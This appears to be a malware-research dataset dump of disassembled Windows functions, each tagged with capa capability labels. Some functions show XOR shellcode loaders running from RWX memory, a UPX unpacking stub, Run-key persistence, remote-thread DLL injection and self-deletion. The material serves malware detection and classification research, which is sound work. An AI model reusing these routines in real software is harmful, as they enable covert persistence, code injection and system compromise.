joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40288e
pop dword [ebp - 0x48]
mov eax, 0x40288e
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xd7393ec2
sub dword [ebp - 0x58], 0x88e6f977
mov dword [ebp - 0x54], 0xaa4a95b
add dword [ebp - 0x54], 0x278ea2ea
mov dword [ebp - 0x50], 0xb6522656
sub dword [ebp - 0x50], 0x6a05e228
mov dword [ebp - 0x4c], 0x6debf65c
add dword [ebp - 0x4c], 0x921409a4
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8da66aab
sub eax, 0x8d65ea1f
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x54bcb3a2
sub dword [ebp - 0x58], 0xe04a4a4c
mov dword [ebp - 0x54], 0xa52e472f
add dword [ebp - 0x54], 0x9c3e1a46
mov dword [ebp - 0x50], 0x477cac14
add dword [ebp - 0x50], 0x1bf2c058
mov dword [ebp - 0x4c], 0xd430a686
add dword [ebp - 0x4c], 0x2bcf597a
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3b23e
push 0
call eax
mov ecx, 0xed66ebfd
add ecx, 0x12996e30
xor ebx, ebx
add ebx, eax
mov edx, 0x4729300c
add edx, 0xb917dff4
add edx, dword [ebp - 0x48]
mov edi, 0xaef5974d
add dword [ebp - 0x2c], eax
mov esi, dword [edx]
sub dword [ebp - 0x1c], esi
xor esi, edi
mov dword [ebp - 0x2c], 0xfd9fe57a
mov dword [ebx], esi
add dword [ebp - 0x3c], 0xa76e41f5
add ebx, 0xf7b8ac46
add ebx, 0x84753be
add edx, 0xbbfb8633
sub edx, 0xbbfb862f
loop 0x4029a2
add eax, 0x79a3163b
add eax, 0x865e454c
xor ebx, ebx
add ebx, eax
add eax, 0xf8362934
sub eax, 0xf836292f
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x4dd7b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x86000]
push edi
or ebp, 0xffffffff
jmp 0x4dd7d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4dd7d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4dd7c8
mov eax, 1
add ebx, ebx
jne 0x4dd7eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4dd7fc
jne 0x4dd80c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4dd80c
dec eax
add ebx, ebx
jne 0x4dd808
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4dd7e0
xor ecx, ecx
sub eax, 3
jb 0x4dd824
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4dd896
sar eax, 1
mov ebp, eax
jmp 0x4dd82f
add ebx, ebx
jne 0x4dd82f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4dd83c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4dd860
inc ecx
add ebx, ebx
jne 0x4dd84c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4dd841
jne 0x4dd85d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4dd841
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4dd880
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4dd871
jmp 0x4dd7ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4dd880
add edi, ecx
jmp 0x4dd7ce
pop esi
mov edi, esi
mov ecx, 0x490f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4dd89e
cmp byte [edi], 0x1b
jne 0x4dd89e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4dd8a3
lea edi, [esi + 0xda000]
mov eax, dword [edi]
or eax, eax
je 0x4dd91b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdf400]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdf568]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4dd8d0
mov ecx, edi
jns 0x4dd8ff
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdf56c]
or eax, eax
je 0x4dd915
mov dword [ebx], eax
add ebx, 4
jmp 0x4dd8ed
call dword [esi + 0xdf570]
popal
jmp 0x4245b3
Function at 0x6ebc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6ebc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6ebc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6ebc132c
mov eax, 1
jmp 0x6ebc1331
mov eax, 0
leave
ret

Function at 0x6ebc1333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x6ebc146c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6ebc1565
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6ebc15d3
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6ebc178f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6ebc1b20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ebc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ebc6034]
sub esp, 4
test ebx, ebx
je 0x6ebc1b6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ebc1b64
test esi, esi
je 0x6ebc1b64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ebc1b40
mov dword [esp], 0x6ebc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6ebc1d50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ebc41c0
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6ebc1da0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ebc1e78
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ebc1dde
cmp eax, 4
jne 0x6ebc1e00
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ebc1dee
cmp edx, 4
je 0x6ebc1dee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ebc1d50
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40633c
pop dword [ebp - 0x40]
mov eax, 0x9c90373
add eax, 0xf6775fc9
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xcf89a71f
add dword [ebp - 0x50], 0x7ec89e2c
mov dword [ebp - 0x4c], 0x46f4c195
add dword [ebp - 0x4c], 0xeb3e8ab0
mov dword [ebp - 0x48], 0x488b9942
sub dword [ebp - 0x48], 0xfc3f5514
mov dword [ebp - 0x44], 0x51cb148c
add dword [ebp - 0x44], 0xae34eb74
lea eax, [ebp - 0x50]
push eax
mov eax, 0x4b6ae9a0
add eax, 0xb4d586c0
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xd9bb9fcf
add dword [ebp - 0x50], 0x9ab6c987
mov dword [ebp - 0x4c], 0xd69ddd8c
sub dword [ebp - 0x4c], 0x95317c17
mov dword [ebp - 0x48], 0xb55e8a8d
add dword [ebp - 0x48], 0xae10e1df
mov dword [ebp - 0x44], 0x3271cfc0
add dword [ebp - 0x44], 0xcd8e3040
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38b89
push 0
call eax
mov ecx, 0x9038fabb
sub ecx, 0x9038aa52
mov edi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x40]
mov esi, 0xc214932c
sub esi, 0x545249a7
xor dword [ebp - 0x38], 0x4492619c
mov ebx, dword [edx]
sub dword [ebp - 8], 0x73ce1531
xor ebx, esi
mov dword [edi], ebx
mov dword [ebp - 0x18], 0xc456fa82
add edi, 0xe2426cb7
add edi, 0x1dbd934d
add edx, 0x3b3d5b1e
add edx, 0xc4c2a4e6
loop 0x406453
add eax, 0x13477
mov ebx, eax
add eax, 0x1fbb8d23
sub eax, 0x1fbb8d1e
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x43e5a8]
and dword [ebp - 8], 0
mov dword [ebp - 0x28], eax
mov eax, dword [0x43e5ac]
push esi
mov esi, dword [ebx + 4]
push edi
mov edi, dword [ebx]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x43e5b0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x43e5b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x44d8ec], 0xc
mov dword [ebp - 4], eax
jne 0x401081
xor eax, eax
push eax
lea ecx, [ebp - 0x34]
push ecx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x44d8ec]
cmp eax, 0xfa9
jne 0x40109d
mov dword [0x44d8e8], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010bf
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x44d840], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
and dword [ebp - 0x14], 0
mov edx, edi
add eax, edi
shr edx, cl
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [0x44d8e4], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub esi, eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov edx, esi
shr edx, cl
add eax, esi
mov dword [ebp - 0x18], eax
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x1c]
jne 0x401055
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x40466d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43d670]
jne 0x404677
repz ret
jmp fcn.0040917e

Function at 0x40c144
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402fc2
and dword [ebp - 4], 0
cmp dword [0x442c14], 0
mov ebx, eax
jne 0x40c1f5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c2a6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40c2a6
push eax
call fcn.00402f50
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x442c14], eax
call esi
push eax
call fcn.00402f50
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x442c18], eax
call esi
push eax
call fcn.00402f50
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x442c1c], eax
call esi
push eax
call fcn.00402f50
pop ecx
mov dword [0x442c24], eax
test eax, eax
je 0x40c1f5
push 0x43a858
push edi
call esi
push eax
call fcn.00402f50
pop ecx
mov dword [0x442c20], eax
mov eax, dword [0x442c20]
cmp eax, ebx
je 0x40c24d
cmp dword [0x442c24], ebx
je 0x40c24d
push eax
call fcn.00402fcb
push dword [0x442c24]
mov esi, eax
call fcn.00402fcb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c24d
test edi, edi
je 0x40c24d
call esi
test eax, eax
je 0x40c244
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c244
test byte [ebp - 0xc], 1
jne 0x40c24d
or dword [ebp + 0x10], 0x200000
jmp 0x40c286
mov eax, dword [0x442c18]
cmp eax, ebx
je 0x40c286
push eax
call fcn.00402fcb
pop ecx
test eax, eax
je 0x40c286
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c286
mov eax, dword [0x442c1c]
cmp eax, ebx
je 0x40c286
push eax
call fcn.00402fcb
pop ecx
test eax, eax
je 0x40c286
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x442c14]
call fcn.00402fcb
pop ecx
test eax, eax
je 0x40c2a6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c2a8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100209c1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10020a09
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x683e
push 0x4bf0
push dword [ebp - 0x10]
push 0
call fcn.10021ef3
add esp, 0x1c
jmp 0x10020a39
lea eax, [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10020a2c
push 0
push 0x2266
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x10020a39
push 0x1a3a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret

Function at 0x1002297c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100229de
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100229c5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x100229c3
push 0x1a3a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x100229dc
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100229dc
push 0x2ac
call dword [sym.imp.USER32.dll_ShowCaret]
jmp 0x100229fb
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
push 0x5ce6
push dword [ebp - 0x18]
push 1
push 0x57b8
call fcn.1001fc7c
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x10030f69
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10030f94
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
push 1
push dword [ebp - 0x14]
push 0x710d
call fcn.10031072
add esp, 0xc
jmp 0x1003106e
lea eax, [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x1003104b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10030fe8
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jl 0x10031049
mov dword [ebp - 8], 0xfffffff7
mov eax, 0x8974b66
test eax, eax
je 0x10031004
cmp dword [ebp - 8], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 8], 0
je 0x10031021
cmp dword [ebp - 8], 0
je 0x10031021
mov dword [ebp - 0xc], 1
jmp 0x10031025
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0xf14e
jge 0x10031037
mov dword [ebp - 0x10], 1
jmp 0x1003103b
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
imul eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x10030fdd
jmp 0x1003106e
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x1003106e
push 0x1a3a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x10033361
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
push edi
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1003338f
push 0x46cf
push 0x3cb6
push 0x718f
push 1
call fcn.100334af
add esp, 0x10
jmp 0x100334a9
lea eax, [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x100333f1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x100333ec
push 0x1a3a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x100334a9
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jge 0x1003344e
mov dword [ebp - 8], 1
jmp 0x10033452
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
sub eax, dword [ebp - 8]
add eax, 0x8b4891
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
mov esi, dword [eax]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov edi, dword [edx]
sub edi, dword [ecx]
imul edi, dword [eax]
push 0
mov ecx, dword [ebp - 0x5c]
call fcn.1001b84b
xor ecx, ecx
sub ecx, dword [eax]
add ecx, edi
cmp ecx, esi
jle 0x10033496
mov dword [ebp - 0x14], 1
jmp 0x1003349a
and dword [ebp - 0x14], 0
push 0
mov ecx, dword [ebp - 0x60]
call fcn.1001b84b
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret